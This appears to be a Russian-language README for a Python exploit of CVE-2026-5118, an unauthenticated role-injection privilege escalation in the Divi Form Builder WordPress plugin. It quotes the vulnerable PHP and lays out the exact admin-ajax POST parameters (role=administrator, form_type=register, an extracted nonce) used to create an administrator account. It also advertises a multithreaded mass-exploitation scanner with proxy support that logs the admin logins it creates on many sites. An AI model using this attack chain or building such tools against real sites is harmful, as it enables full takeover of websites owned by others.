
Эксплойт на Python для CVE-2026-5118, нацеленный на неаутентифицированное повышение привилегий в Divi Form Builder ≤ 5.1.2. Включает эксплойт для одной цели и многопоточный массовый сканер с автоматическим обнаружением форм, извлечением nonce и внедрением роли для создания учётной записи администратора WordPress.
Неаутентифицированное повышение привилегий через внедрение роли
=== Beelze ( zeroday 1diot9 ) ===
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS Score | 9.8 (Критический) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Некорректное управление привилегиями |
| Плагин | Divi Form Builder (от Divi Engine) |
| Затронутые версии | Все версии ≤ 5.1.2 |
| Исправлено в | 5.1.3 (13 апреля 2026) |
| Опубликовано | 20 мая 2026 |
| Исследователь | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
Плагин Divi Form Builder для WordPress уязвим к неаутентифицированному повышению привилегий во всех версиях до 5.1.2 включительно.
Функция create_user() в файле FormSubmissionHandler.php принимает управляемый пользователем параметр role из POST-данных во время регистрации пользователя без проверки соответствия настроенному в форме default_user_role. Единственная «защита» — sanitize_text_field() — которая удаляет HTML-теги и кодирование, но абсолютно не ограничивает значение безопасными ролями, после чего следует проверка существования, которая лишь удостоверяется, что роль существует в WordPress (а роль administrator существует всегда).
Эта тройная ошибка позволяет неаутентифицированным атакующим:
fb_nonce) из JavaScript-объекта de_fb_objform_type на register через POST — превратив любую форму в конечную точку регистрацииrole=administrator в AJAX-запросРезультат: Полный захват сайта — ноль аутентификации, ноль взаимодействия пользователя, один POST-запрос.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~строка 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← Только удаляет теги/кодирование!
: 'subscriber'; // ← 'administrator' проходит ЧИСТЫМ
sanitize_text_field() предназначен для санитизации свободного текста (предотвращение XSS). Он НЕ проверяет по белому списку безопасных ролей. Строка "administrator" не содержит HTML-тегов, специального кодирования — она проходит насквозь полностью неизменной.
// ~строка 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← запасной вариант ТОЛЬКО если роль не существует
}
Эта проверка спрашивает: "Существует ли эта роль в WordPress?" — и administrator всегда существует. Она никогда не задаёт правильный вопрос: "Безопасна ли эта роль для публичной самостоятельной регистрации?" Правильная проверка должна сверяться с белым списком, например ['subscriber', 'contributor'], или принудительно использовать настройку default_user_role формы.
// ~строка 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← управляемая атакующим роль применяется напрямую!
Никакой проверки current_user_can('create_users'). Никакой проверки current_user_can('promote_users'). Никакой проверки прав любого рода. Роль, предоставленная атакующим, передаётся напрямую в set_role().
// Локализация JS на фронтенде
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← ОДИНАКОВЫЙ nonce на ВСЕХ формах, ВСЕХ страницах
// ...
]);
fb_nonce создаётся через wp_create_nonce('security') — общая строка действия, используемая в каждой форме DFB на сайте. Любой посетитель может извлечь его из исходного кода страницы, прочитав JavaScript-объект de_fb_obj.
// AJAX-обработчик
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← вызывается переопределением через POST!
}
form_type берётся из POST-данных, а не из серверной конфигурации формы. Атакующий может отправить form_type=register в любой AJAX-запрос DFB — контактную форму, заявку, подписку — и сервер выполнит код регистрации. Исходное назначение формы не имеет значения.
[Неаутентифицированный атакующий]
│
▼
GET /любая-страница-с-dfb-формой/
← Исходный код HTML: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Извлечение fb_nonce из JavaScript-объекта de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← ВНЕДРЁН │
│ form_type = register ← ПЕРЕОПРЕДЕЛЁН│
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ проходит
wp_roles()->roles['administrator'] существует? → ДА ✓ проходит
$user->set_role('administrator') ✓ нет проверки прав
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Полный доступ администратора] 🔥
CVE-2026-5118.py — Эксплойт для одной целиПолная цепочка эксплойта из 5 фаз с автоматическим поиском форм и извлечением nonce.
python3 CVE-2026-5118.py
Целевой URL: https://target.com
Имя пользователя [beelze_admin]:
Пароль [Beelze123!!@#!]:
Email [[email protected]]:
Таймаут (секунды) [15]:
SOCKS5 прокси (пусто = нет):
Фазы эксплойта:
Phase 1 ▶ Доступность (HTTPS + HTTP откат)
Phase 2 ▶ Обнаружение плагина (проверка версии из readme.txt)
Phase 3 ▶ Поиск форм и извлечение nonce
├── Сканирование страниц через REST API
├── Проверка общих путей
├── Сканирование Sitemap
└── Сканирование ссылок с главной страницы
Phase 4 ▶ Внедрение роли (повышение привилегий)
Phase 5 ▶ Проверка входа администратора
Вывод (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Массовый сканерМногопоточная массовая эксплуатация с ведением журнала в JSONL и поддержкой возобновления.
python3 CVE-2026-5118-mass.py
Файл с целями (по одному URL на строку): targets.txt
Имя пользователя [beelze_admin]:
Пароль [Beelze123!!@#!]:
Email [[email protected]]:
Потоков [10]:
Таймаут (секунды) [10]:
Файл с прокси (SOCKS5, по одному на строку, пусто = нет):
Возобновить предыдущий скан? (y/n) [n]:
Возможности:
Вывод (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role, игнорируя любой предоставленный пользователем параметр role из POST-данныхBeelze ( zeroday 1diot9 ) — только для образовательных целей и авторизованных исследований безопасности